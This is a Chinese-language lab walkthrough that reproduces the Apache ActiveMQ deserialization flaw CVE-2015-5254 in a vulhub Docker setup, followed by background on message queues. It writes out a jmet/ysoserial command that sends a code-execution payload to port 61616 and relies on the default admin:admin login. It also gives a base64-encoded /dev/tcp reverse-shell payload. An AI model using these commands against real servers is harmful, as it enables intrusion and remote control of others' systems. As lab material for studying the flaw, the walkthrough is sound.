1,启动
cd /vulhub/activemq/CVE-2015-5254
docker-compose up -d
2,原理背景
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
3,存在2个端口,一个为web访问,一个是正常发送消息的端口
4,利用该漏洞上传payload需要人为触发才能执行,大概意思是需要执行该漏洞上传的payload才行
第一种选择是该组件存在弱口令密码,可以使攻击者直接进入管理后台执行,执行payload的时间由攻击者掌握;
第二种选择就是该组件的管理员在进行后台管理时触发了payload,但这样执行payload的时间由管理员掌握
5,复现过程:
构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial) ysoserial是一款java反序列化利用工具。
将序列化对象作为一个消息,发送给目标61616工作端口
访问web管理页面,读取消息,触发漏洞(ActiveMQ Web管理页面默认账号密码是admin:admin)
6,下载jmet的jar包
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
-Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令(可替换为反弹shell命令),-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口
这条命令是使用ROME payload类型把 执行 touch /tmp/success 命令序列化后作为名为event的消息发送给ActiveMQ
同目录下创建一个external文件夹,防止后续操作报文件夹不存在的错误
tip:由于Java版本问题,main线程出错,加装Java8(Kali安装JAVA8和切换JDK版本的详细过程_huayimu的博客-CSDN博客)
7.访问172.18.0.1:8161 ,activemq默认admin:admin登入
点击查看该条消息,即可触发命令执行 ,创建success
进入容器
证明命令执行成功。
8. 同理讲上面的远程命令那部分替换为反弹shell的命令即可
反弹shell在线生成: https://www.revshells.com/(自带base64编码)
sh -i >& /dev/tcp/192.168.10.139/4444 0>&1
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMC4xMzkvNDQ0NCAwPiYx
playload:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMC4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
9.关闭
docker-compose down
扩充知识:
MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在
合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。
队列:消息存在队列中,发送和接收都是异步的
主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式
MQ解决的问题:
解耦:新模块接入时,代码改动最小
消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮
异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力
产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ
影响版本:Apache ActiveMQ version 5.13.0以前的5.x版本。